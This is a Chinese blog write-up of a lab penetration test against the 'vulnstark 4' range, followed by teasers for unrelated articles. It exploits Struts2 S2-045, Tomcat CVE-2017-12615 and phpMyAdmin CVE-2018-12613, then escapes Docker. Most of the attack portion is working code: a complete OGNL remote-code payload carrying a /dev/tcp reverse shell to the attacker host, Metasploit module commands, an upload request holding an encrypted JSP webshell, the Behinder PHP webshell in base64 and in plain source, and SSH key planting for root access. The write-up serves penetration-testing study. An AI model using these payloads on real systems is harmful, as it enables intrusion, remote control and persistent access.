红日靶场vulnstark 4靶机的测试报告[细节](一)
目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、漏洞利用Getshell
①Struts 2 s2-045漏洞
手工利用s2-45漏洞
Msf综合利用
②Tomcat框架(CVE-2017-12615)
③phpMyAdmin(CVE-2018-12613)
构造语句写入冰蝎木马
3、Docker服务器逃逸
①struts2应用
②tomcat应用(docker特权模式逃逸)
③phpMyAdmin应用
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.131)
靶 机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。
密码信息(默认密码):
- Web服务器:ubuntu/ubuntu
- 域成员主机:douser/Dotest123
- 域控主机默认密码:administrator/Test2008
- 域控主机修改后的密码:Admin123456
2、注意事项
- 设置一个仅主机网卡,网段为183;每台主机的仅主机网卡使用这个即可。设置完成三台主机即可互相ping通。
- 域内主机win7无法以管理员权限运行文件, 提示“目前没有可用的登录服务器处理登录请求”,不过仅主机网卡即可通信,无伤大雅。
- Web主机ubuntu需要手动开启环境s2-045、CVE-2017-12615、CVE-2018-12613,命令如下:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
开启后即完成了环境搭建
3、使用工具/软件
Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster (目录遍历)、msfconsole(漏洞利用)、nc(监听工具)、ssh-keygen(生成ssh秘钥)
struts 2漏洞检测工具、cdk(docker漏洞检测)、冰蝎Behinder_v4.0.6(webshell管理)、mobaxterm(shell管理)
测试网址:
http://192.168.200.145:2001;http://192.168.200.145:2002;http://192.168.200.145:2003
后面两篇文章地址:
红日靶场vulnstark 4靶机的测试报告[细节](二)-CSDN博客文章浏览阅读382次,点赞11次,收藏3次。基于渗透测试流程渗透vulnstark 4靶场;红日靶场;内网渗透;mimikatz;msfconsole;ms 14-68;ms17-010;永恒之蓝;域内信息搜集;Windows渗透;域渗透;Kerberoshttps://blog.csdn.net/2301_79698171/article/details/144306473?spm=1001.2014.3001.5501https://blog.csdn.net/2301_79698171/article/details/144308001?sharetype=blogdetail&sharerId=144308001&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118
https://blog.csdn.net/2301_79698171/article/details/144308001?sharetype=blogdetail&sharerId=144308001&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118
二、测试目的
通过web打点进入shell后台,docker逃逸到物理机。
三、操作过程
1、信息搜集
开启kali,CS启动!
主机探测
arp-scan -l
探测到靶机IP:192.168.200.145
端口和服务探测
nmap -sN -A -p- -T4 192.168.200.145
开启了22端口(ssh服务)、2001端口(jetty搭建的服务,struts2中间件)、2002端口(tomcat中间件)、2003端口(apache中间件,phpmyadmin服务)
进行目录扫描
2001端口目录扫描失败
gobuster dir -u http://192.168.200.145:2001 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
扫描2002端口
gobuster dir -u http://192.168.200.145:2002 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
没扫描到什么有用的信息,都是tomcat的文件
Tomcat版本:8.5.19
扫描2003端口
gobuster dir -u http://192.168.200.145:2003 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
扫到很多目录和文件
主页phpmyadmin,无需登录即可管理数据库
Mysql版本:5.5.62
2、漏洞利用Getshell
①Struts 2 s2-045漏洞
使用struts 2漏洞检测工具查一下漏洞,存在s2-045漏洞
这个漏洞利用方式有很多:手工注入、msf集成利用或者是集成工具直接利用。
检测工具地址:
https://github.com/s0k/Deserialize/blob/main/struts2/Struts2%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%9F%A5%E5%B7%A5%E5%85%B72019%E7%89%88%20V2.3.exe
执行命令成功
手工利用s2-45漏洞
尝试手工利用s2-45漏洞一下
漏洞url:http://192.168.200.145:2001/doUpload.action
RCEpoc:
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
尝试抓包(提交按钮的包)修改Content-Type参数,发包执行命令
执行反弹shell
反弹shell命令:
bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1
$IFS:是 Bash 的一个环境变量,表示内部字段分隔符。默认情况下,IFS 用于分隔字符串。
$9:是 Bash 中的一个位置参数,指代第 9 个命令行参数。该位置参数为空,因此它不会对命令产生直接影响。
完整poc:
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
在kali开启监听
发送poc,即可接收反弹shell
获取反弹shell
Msf综合利用
Msf命令如下:
use exploit/multi/http/struts2_content_type_ognl
set TARGETURI /doUpload
set RHOSTS 192.168.200.145
set RPORT 2001
set LPORT 6666
set FETCH_WRITABLE_DIR /tmp
set FETCH_SRVPORT 8081
run
执行命令完成后直接获取了meterpreter权限
②Tomcat框架(CVE-2017-12615)
这个环境存在tomcat一个经典的任意文件上传的漏洞(就白盒测试来说,这是直接拉的docker环境CVE-2017-12615漏洞复现)
下面就这个漏洞进行利用
打开burp,随机抓取一个tomcat站点的数据包
修改:PUT上传方法、请求行url、新增Content-Type:application/x-www-form-urlencoded头、请求主体是木马文件内容
完整数据包:
PUT /tomcat.jsp/ HTTP/1.1
Host: 192.168.200.145:2002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type:application/x-www-form-urlencoded
Connection: keep-alive
Referer: http://192.168.200.145:2002/
Cookie: JSESSIONID=1ld91a1s2g4bn11znldfexvfm; phpMyAdmin=2efb6ffa53fc258b51330d35976b057b; pma_lang=zh_CN
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 572
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*�ƥ:ޥ�32Mmd5<�M16M
ؤޥ�rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
发包,返回值201表示成功
可以访问jsp木马文件,空白页
冰蝎也成功连接
③phpMyAdmin(CVE-2018-12613)
这里利用的是一个任意文件包含漏洞getshell
漏洞url:
http://192.168.200.145:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd
可以看到成功地包含了文件
在执行sql语句的页面
select "<?php echo 'pwd';?>"
执行的sql语句会先储存在临时session文件中,session文件以session值来命名
结果如下:
抓包查看session值,phpMyAdmin的参数值就是:2efb6ffa53fc258b51330d35976b057b
临时session文件名只需要加上sess_的前缀,保存在tmp目录下
sess_2efb6ffa53fc258b51330d35976b057b
利用原理:执行插入php木马的查询语句,在任意文件包含漏洞页面包含临时session文件执行php代码。
以刚刚执行的例子中执行的php代码为例,包含临时session文件发现语句被执行,输出了pwd的字段。
http://192.168.200.145:2003/index.php?target=db_sql.php%253f/../../../../../../../../../tmp/sess_2efb6ffa53fc258b51330d35976b057b
php中,反引号(`)中的内容会被当做shell命令执行。
比如,执行这样一句查询语句:select "<?php echo `pwd`; ?>"
可以看到包含页面内执行php语句没有像之前一样输出pwd,而是执行pwd命令,回显当前目录:/var/www/html
当然,这个目录就是web目录,是当前页的目录
构造语句写入冰蝎木马
select '<?php echo `echo "<?php eval(base64_decode(冰蝎的php webshell base64加密)); ?>" > /var/www/html/mysql.php`; ?>';
这个编码用php的base64_encode生成的编码,不然base64代码可能用不了
完整poc:
select '<?php echo `echo "<?php eval(base64_decode(QGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cg));?>" > /var/www/html/mysql.php`;?>';
执行完毕,刷新一下包含页面执行
访问http://192.168.200.145:2003/mysql.php
可以看到webshell成功创建,这种页面就是正确的,可以连冰蝎
成功连接冰蝎!!
太不容易了,编码被卡住了好久。
php的webshell:注释内容要删掉、最后一行需要换行符。
这样的编码才连的上冰蝎!
这里把冰蝎的php马源码也放一下,修改过后的:
@error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
3、Docker服务器逃逸
由于Docker 容器是与物理机隔离的,所以我们需要进行Docker逃逸。Docker逃逸是指利用Docker 容器可能存在的不安全配置,将获得的Docker容器权限转变为物理机权限。
Docker 容器有许多逃逸手段,举例如下:
- 内核漏洞:由于Docker容器与物理机共享一个内核,当该内核存在内核漏洞时,在Docker 容器内利用内核漏洞可能直接获得物理机权限。
- Docker API 未授权访问漏洞:当物理机的Docker API开启并同意未授权访问时,在Docker 容器内可以使用Docker API新建一个Docker 容器,并将物理机的根目录挂载到新Docker 容器的某目录下。
- Docker 容器以特权模式启动:当Docker容器是以特权模式启动时,可以使用mount命令将物理机的根目录挂载到当前Docker 容器的某目录下。
在Docker 容器内可以通过使用cdk进行不安全配置扫描。cdk是一个开源的Docker容器渗透工具包,下载地址为https://github.com/cdk-team/CDK/releases/tag/v1.0.6。cdk可以检测当前Docker 容器内是否存在不安全的配置和漏洞,并可以通过不安全的配置和漏洞进行Docker 逃逸。
①struts2应用
获取的反弹shell,可以很清楚地看到是root权限,@后面明显是docker的id号
显然这是一个docker容器
查找一下.dockerenv文件
find / -name .dockerenv
.dockerenv文件是docker容器特有的文件,可以确定当前服务器是一个docker容器。
如图,查找到了.dockerenv文件的路径:
靶机下载cdk并赋予执行权限运行
wget 192.168.200.131:8888/cdk
chmod +x cdk
./cdk evaluate --full
没什么有用信息
②tomcat应用(docker特权模式逃逸)
查看系统信息,是Linux系统、root权限
find / -name .dockerenv
也找到了.dockerenv文件
上传cdk文件
赋予执行权限并执行
/tmp/ >chmod +x cdk_linux_amd64
/tmp/ >./cdk_linux_amd64 evaluate –full
可以看到扫出了,开启了特权权限
cdk工具可以直接利用漏洞
挂载根目录利用命令:
./cdk_linux_amd64 run mount-disk
该命令首先会在Docker容器中的/tmp目录下生成一个cdk_xxxxx文件(xxxxx为随机字母组成),再将物理机的根目录挂载到/tmp/cdk_xxxxx目录下
可以在挂载目录查看物理机的根目录
cd /tmp/cdk_p95Pg
ls
成功挂载了物理机的根目录,可以通过写计划任务或写SSH秘钥的方式获取物理机权限。信息搜集时获取了靶机开启了SSH服务,将ssh秘钥写入挂载的根目录即可登录。命令如下:
kali生成一份公钥私钥
ssh-keygen -t rsa
私钥文件:/root/.ssh/id_rsa
公钥文件:/root/.ssh/id_rsa.pub
查看公钥文件
cat /root/.ssh/id_rsa.pub
将这份公钥复制到docker挂载的物理机公钥存放处,使用私钥即可登录
mkdir .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuJWjhVWp/dik4+3SMRZ/Cx26SISK1JeEmpZjDALNiv/PndTtJ2OofwrxNEdjoq7ZSeVsgY05MfEFwOwa7OsewkV0X+yRFdAGbMb3EcLVjsVXEIpiOf0U6yQld2JJofRTn9ZjgDbW1wU/f0OWSU+sk1JHoJlUcDuDUiHoQj5RBzzyZaWKX7zfx2Xey1t9/89VND2FUYz8cyJO+fZzPSdm1aRIERaVla9hlcq9aPMn/DeLJdNHEz0pbhmBHRQBz32/8XH8vJLGUhuyw3OytDyShQONsxs1rsCIg5gRg/IjsTzsNRs1HMmt+WBmOFMtSTknIyaCUGd72/HSQZdI7DSVgq4hA7q1QJKF19l4ievXh9eHHqb6RMJkkY7YIwIZnfSIC7JKZy9M+bshUEzbD9FcBrQJ/SQTy5u6BpGoRV47CeIxDTn3DcjCa7uWtL2RnTVyTvXPvJqrhzerSFZqTPoJEPNTj11JrOIkt23vR2a4AAYLH+ERZRmE14RSn3PJKKf0= root@hacker" > /tmp/cdk_p95Pg/root/.ssh/authorized_keys
ssh的目录和公钥都需要特定的权限才能运行
ssh目录(权限700)
~/.ssh/authorized_keys文件(权限600)
chmod 700 .ssh
chmod 600 authorized_keys
使用mobaxterm工具的ssh登录
使用私钥id_rsa
成功登录root用户
③phpMyAdmin应用
查看基本信息:Linux系统,并且用户名是docker的命名特征,内核也是ubuntu14.04;php版本:7.2.5
猜测这也是docker容器
同样找到了dockerenv文件
find / -name .dockerenv
要进行docker容器逃逸,需要把获得的权限提升为管理员,尝试提权
尝试脏牛漏洞提权失败
四、结论
由于靶场报告内容太多,一篇文章会很冗杂,决定分为三篇发送。
这里已经获取了web靶机的物理机root权限,通过docker逃逸实现的。
下一篇文章会进行内网渗透,获取域内主机和域控服务器的权限。
相关文章:
红日靶场vulnstark 4靶机的测试报告[细节](一)
目录 一、测试环境 1、系统环境 2、注意事项 3、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、漏洞利用Getshell ①Struts 2 s2-045漏洞 手工利用s2-45漏洞 Msf综合利用 ②Tomcat框架(CVE-2017-12615) ③phpMyAdmin(CVE-2018-12613) 构造语句写入冰蝎木…...
Android上运行OpenCV(Android Studio)
用Android Studio的话,整体来说没什么难的,照着教程来做就好了。 【OpenCV】OpenCV库的安装 - Android与OpenCV系列教程_哔哩哔哩_bilibili 主要就是导入module,然后加入依赖。代码只有几行。 if(OpenCVLoader.initLocal()){Toast.makeText(…...
代码随想录算法训练营day50|动态规划12
不同的子序列 给定一个字符串 s 和一个字符串 t ,计算在 s 的子序列中 t 出现的个数。、 编辑距离中的删除元素,其实就是直接变数字,其只删除原来的较长的数组里的元素 递推模拟,使用s的最后一个元素匹配,或者删除…...
图像生成-扩散模型的经典之作DDPM
论文:https://arxiv.org/pdf/2006.11239 项目:https://github.com/hojonathanho/diffusion Denoising Diffusion Probabilistic Models (DDPM) 是一种生成模型,它通过一系列逐步添加噪声的过程将数据点映射到一个简单的先验分布(…...
知识拓展 ?. 连选链操作
?. 连选链操作 ?. 可选链操作符 ?. 是可选链操作符,常用于访问引用类型具有不确定性的内部数据时,比如要访问一个对象中的数组,不确定数组一定有数据就可以使用 ? 取读取它的 length 属性,如果对象没有这个属性也仅会返回 …...
API设计指南:详解HTTP状态码错误解析、HTTP方法及参数命名规则
目录 1、HTTP API规范1.1 原则1.2 协议1.3 版本1.4 路径1.5 HTTP 方法(Method)1.6 过滤信息1.7 参数命名1.8 HTTP 状态码(Response Code)1.9 鉴权 2、状态码2.1 API返回基础规范2.2 常见的 HTTP 状态码2.3 API错误信息应该放到响应…...
【D3.js in Action 3 精译_043】5.1 饼图和环形图的创建(三):圆弧的绘制
当前内容所在位置: 第五章 饼图布局与堆叠布局 ✔️ 5.1 饼图和环形图的创建 ✔️ 5.1.1 准备阶段(一)5.1.2 饼图布局生成器(二)5.1.3 圆弧的绘制(三) ✔️5.1.4 数据标签的添加(四&…...
7. 一分钟读懂“单例模式”
7.1 模式介绍 单例模式就像公司里的 打印机队列管理系统,无论有多少员工提交打印任务,大家的请求都汇总到唯一的打印管理中心,按顺序排队输出。这个中心必须全局唯一,避免多个队列出现资源冲突,保证打印任务井然有序。…...
如何让谷歌外链看起来更真实?
在SEO优化过程中,外链的自然性往往会被忽视,尤其是在一些急于见效的策略中,外链往往集中在高权重的少数几个网站上,导致外链结构单一且缺乏多样性。这样的外链网络容易让搜索引擎怀疑其真实性,进而影响网站排名。如何才…...
C标签和 EL表达式的在前端界面的应用
目录 前言 常用的c标签有: for循环 1 表示 普通的for循环的 2 常在集合中使用 表示 选择关系 1 简单的表示如果 2 表示如果。。否则。。 EL表达式 格式 : ${属性名/对象/ 集合} 前言 本篇博客介绍 c标签和el表达式的使用 使用C标签 要引入 …...
Luma 视频生成 API 对接说明
Luma 视频生成 API 对接说明 随着 AI 的应用变广,各类 AI 程序已逐渐普及。AI 已逐渐深入到人们的工作生活方方面面。而 AI 涉及的行业也越来越多,从最初的写作,到医疗教育,再到现在的视频。 Luma 是一个专业高质量的视频生成平…...
嵌入式基础:Linux C语言:Day7
重点: strlen()函数\strcpy()函数\strcat实现\strcmp()实现 数组的清空:bzero函数、memset函数 一、字符数组 <1> 概念 字符数组本质上就是一个数组,保存一个个字符,也一般用来保存字符串 字符串由多个字符组成的一个字符…...
阿里云盘permission denied
问题是执行 ./aliyunpan 时遇到了 Permission denied 的错误。这通常是因为文件没有执行权限。以下是解决问题的步骤: 检查文件权限 运行以下命令检查文件的权限: ls -l aliyunpan输出中会看到类似以下内容: -rw-r--r-- 1 user group 123…...
Flink学习连载文章12--FlinkSQL高级部分
eventTime 测试数据如下: {"username":"zs","price":20,"event_time":"2023-07-17 10:10:10"} {"username":"zs","price":15,"event_time":"2023-07-17 10:10:3…...
缓冲区溢出基础与实践
缓冲区溢出 缓冲区溢出是指当计算机向缓冲区内填充数据时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹…...
matlab figure函数 single 数据类型
1.matlab figure函数详细介绍 在MATLAB中,figure函数用于创建新的图形窗口或激活现有的图形窗口。以下是figure函数的详细介绍和用法: 基本用法 创建新图形窗口:不带任何参数调用figure会创建一个新的图形窗口,并将其设为当前活…...
量化交易系统开发-实时行情自动化交易-8.15.Ptrade/恒生平台
19年创业做过一年的量化交易但没有成功,作为交易系统的开发人员积累了一些经验,最近想重新研究交易系统,一边整理一边写出来一些思考供大家参考,也希望跟做量化的朋友有更多的交流和合作。 接下来会对于Ptrade/恒生平台介绍。 P…...
Vue03
目录 一、今日目标 1.生命周期 2.综合案例-小黑记账清单 3.工程化开发入门 4.综合案例-小兔仙首页 二、Vue生命周期 三、Vue生命周期钩子 四、生命周期钩子小案例 1.在created中发送数据 六、工程化开发模式和脚手架 1.开发Vue的两种方式 2.Vue CLI脚手架 基本介绍…...
【AI学习】Mamba学习(十九):关于S4-FouT
在前面《Mamba学习(十六):从S4到S5模型》一文中,提到了S4D-Lin,其具体状态矩阵A的初始化形式为: S4D-Lin对比S4D-Inv是一种更简单的形式,可以看作是对S4-FouT(S4的另外一种变体&am…...
YOLOv5-C3模块实现
YOLOv5-C3模块实现 🍨 本文为🔗365天深度学习训练营 中的学习记录博客 🍖 原作者:K同学啊 电脑系统:Windows11 显卡型号:NVIDIA Quadro P620 语言环境:python 3.9.7 编译器:jupyt…...
ubuntu下Qt5自动编译配置QtMqtt环境(10)
文章目录 [toc]1、概述2、下载QtMqtt源码3、编译4、验证5、参考6、视频 更多精彩内容👉内容导航 👈👉Qt网络编程 👈 1、概述 Qt默认是不包含mqtt库的,如果需要使用到mqtt库就只能自己编译配置; 网络所有的…...
切比雪夫不等式:方差约束下的概率估计
切比雪夫不等式:方差约束下的概率估计 背景 在概率分析中,切比雪夫不等式是一个常用的工具,它通过引入随机变量的 方差信息,给出了偏离均值的概率界限。这一不等式是对 马尔科夫不等式 的自然扩展,结合了更丰富的分布…...
SIP系列七:ICE框架(P2P通话)
我的音视频/流媒体开源项目(github) SIP系列目录 目录 一、NAT 1、NAT介绍 2、NAT类型 2.1、 完全圆锥型NAT 2.2、受限圆锥型NAT 2.3、端口受限圆锥型NAT 2.4、对称NAT 3、NAT打洞 3.1、不同一NAT下 3.2、同一NAT下 二、ICE 三、ICE中的SDP 至此&#x…...
小程序-基于java+SpringBoot+Vue的智慧校园管理系统设计与实现
项目运行 1.运行环境:最好是java jdk 1.8,我们在这个平台上运行的。其他版本理论上也可以。 2.IDE环境:IDEA,Eclipse,Myeclipse都可以。推荐IDEA; 3.tomcat环境:Tomcat 7.x,8.x,9.x版本均可 4.硬件环境:…...
Visual Studio 2022创建离线安装包
步骤1: 下载 Visual Studio 引导程序(最新版) 历史版本 步骤2 新建文件夹“E:\VS2022”,将下载的“vs_Professional.exe”拷贝到文件夹下在此文件夹窗口按住shift鼠标右键,选择“在此处打开powershell窗口” 步骤3 根据需要将代码复制到…...
Android 实现中英文切换
在开发海外项目的时候,需要实现app内部的中英文切换功能,所有的英文都是内置的,整体思路为: 创建一个sp对象,存储当前系统的语言类型,然后在BaseActivity中对语言进行判断; //公共Activitypubl…...
CmakeLists学习刨根问底
必要的两项内容 cmake_minimum_required(VERSION 2.5)project(mymuduo) 这行代码指定了构建项目所需的CMake最低版本为2.5。CMake是一个跨平台的自动化构建系统,它使用CMakeLists.txt文件来定义项目的构建过程。定义项目的名称为mymuduo。CMake将使用这个名称来生成…...
策略模式实战 - 猜拳游戏
**可以整体的替换一套算法,这就是策略模式。**这样对于同一个问题,可以有多种解决方案——算法实现的时候,可以通过策略模式来非常方便的进行算法的整体替换,而各种算法是独立封装好的,不用修改其内部逻辑。 具体的实…...
VoCo-LLaMA: Towards Vision Compression with Large Language Models
视觉语言模型在各种多模态任务上取得了显著的成功,但经常受到有限上下文窗口和处理高分辨率图像输入和视频的高计算成本的瓶颈。视觉压缩可以通过减少视觉令牌数量避免该问题。先前方法使用额外模块压缩视觉令牌并强制LLM理解压缩的令牌。然而,LLM对视觉…...
每日小知识
Kafka是一个分布式流平台,具有高性能、高可靠性和可扩展性的特点。它主要用于处理实时的数据流,将数据以高吞吐量的方式进行发布和订阅。以下是关于Kafka的几个基本概念和优势的介绍: 概念: 生产者(Producer…...
Linux其二设置端口号,静态ip以及命令
目录 1、VI编辑器 【linux版本的文本文件】 2) 补充的vi编辑器的其他内容(了解) 2、ln 连接的意思 link的缩写 3、文件的查看 【重点】 4、压缩与解压(重点) 5、find 查找命令 6、which & whereis 作用是一样的,表示某…...
吉林大学23级数据结构上机实验(第7周)
A 去火车站 寒假到了,小明准备坐火车回老家,现在他从学校出发去火车站,CC市去火车站有两种方式:轻轨和公交车。小明为了省钱,准备主要以乘坐公交为主。CC市还有一项优惠政策,持学生证可以免费乘坐一站轻轨&…...
SpringBoot(整合MyBatis + MyBatis-Plus + MyBatisX插件使用)
文章目录 1.整合MyBatis 1.需求分析2.数据库表设计3.数据库环境配置 1.新建maven项目2.pom.xml 引入依赖3.application.yml 配置数据源4.Application.java 编写启动类5.测试6.配置类切换druid数据源7.测试数据源是否成功切换 4.Mybatis基础配置 1.编写映射表的bean2.MonsterMap…...
【2024最新】基于Springboot+Vue的网上图书商城平台Lw+PPT
作者:计算机搬砖家 开发技术:SpringBoot、php、Python、小程序、SSM、Vue、MySQL、JSP、ElementUI等,“文末源码”。 专栏推荐:SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:Java精选实战项…...
JAVA-面向对象基础
文章目录 概要封装多态抽象类接口内部类为什么需要内部类 概要 面向对象是一种编程范式或设计哲学,它将软件系统设计为由多个对象组成,这些对象通过特定的方式相互作用 封装 将数据和操作数据的方法封装在一个类中,并通过访问修饰符控制对…...
Y3编辑器官方文档1:编辑器简介及菜单栏详解(文件、编辑、窗口、细节、调试)
文章目录 一、新建项目二、 编辑器主界面2.1 游戏场景2.2 导航栏/菜单栏2.3 功能栏三、菜单栏详细介绍3.1 文件3.1.1 版本管理3.1.2 项目管理(多关卡)3.1.2.1 多关卡功能说明3.1.2.2 关卡切换与关卡存档3.2 编辑3.2.1 通用设置3.2.2 键位设置3.3 窗口(日志)3.4 细节3.4.1 语言…...
力扣94题:二叉树的中序遍历
力扣94题:二叉树的中序遍历(C语言实现详解) 题目描述 给定一个二叉树的根节点 root ,返回它的中序遍历(Inorder Traversal)。 中序遍历的规则是: 先访问左子树;再访问根节点&…...
【数据结构】二叉树的性质和存储结构
性质 在二叉树的第i层上至多有2^{i-1}个结点,至少有1个结点 深度为k的二叉树至多有2^{k-1}个结点(k≥1),至少有k个结点 对任何一棵二叉树T,如果其叶子数为n0,度为2的结点数为n2,则n0n21 具有n个结点的完…...
【Spring项目】图书管理系统
阿华代码,不是逆风,就是我疯 你们的点赞收藏是我前进最大的动力!! 希望本文内容能够帮助到你!! 目录 一:项目实现准备 1:需求 (1)登录 2:准备…...
TCP编程案例
笔记:(本题可能需要的) TCP协议: TCP协议进行通信的两个应用进程:客户端、服务端。 使用TCP协议前,须先建立TCP连接,形成基于字节流的传输数据通道 传输前,采用“三次握手”方式…...
PyTorch 实现动态输入
使用 PyTorch 实现动态输入:支持训练和推理输入维度不一致的 CNN 和 LSTM/GRU 模型 在深度学习中,处理不同大小的输入数据是一个常见的挑战。许多实际应用需要模型能够灵活地处理可变长度的输入。本文将介绍如何使用 PyTorch 实现支持动态输入的 CNN 和…...
网络数据库
创建删除修改模式create schemadrop schema表create tabledrop tablealter table视图create view drop view索引create indexdrop index alter index 定义模式:create schema 《模式名》 authorization 《用户名》表定义语句 视图定义语句 授权定义语句//未指…...
【软考速通笔记】系统架构设计师⑲——专业英语
文章目录 一、前言二、常用名词三、架构风格四、非功能需求五、应用架构六、软件架构重用 一、前言 笔记目录大纲请查阅:【软考速通笔记】系统架构设计师——导读 二、常用名词 名词翻译architecture架构system系统design设计requirements需求components组件constr…...
Android APP自学笔记
摘抄于大学期间记录在QQ空间的一篇自学笔记,当前清理空间,本来想直接删除掉的,但是感觉有些舍不得,因此先搬移过来。 Android导入已有外部数据库 2015.06.26在QQ空间记录:在Android中不能直接打开res aw目录中的数据…...
Spring 事务和事务传播机制
Spring 事务和事务传播机制 一、Spring 事务的基本概念 事务是一组操作,被视为一个不可分割的工作单元,要么全部完成,要么全部失败回滚,以此来确保数据的一致性和完整性。Spring事务管理允许我们在应用程序中声明式地或编程式地…...
VSCode(四)CMake调试
1. 工具准备 1.1 C环境插件 1.2 CMake插件 2. Cmake工程 2.1 创建项目文件夹 ex:CMAKE_TEST 2.2 创建CMake工程 (shift ctl P), 选择"CMAKE: Quick Start": 2.3 填写project name: (ex: test_cmake) 2.4 选择”Executable“ 项目文件内会自动…...
创建存储过程
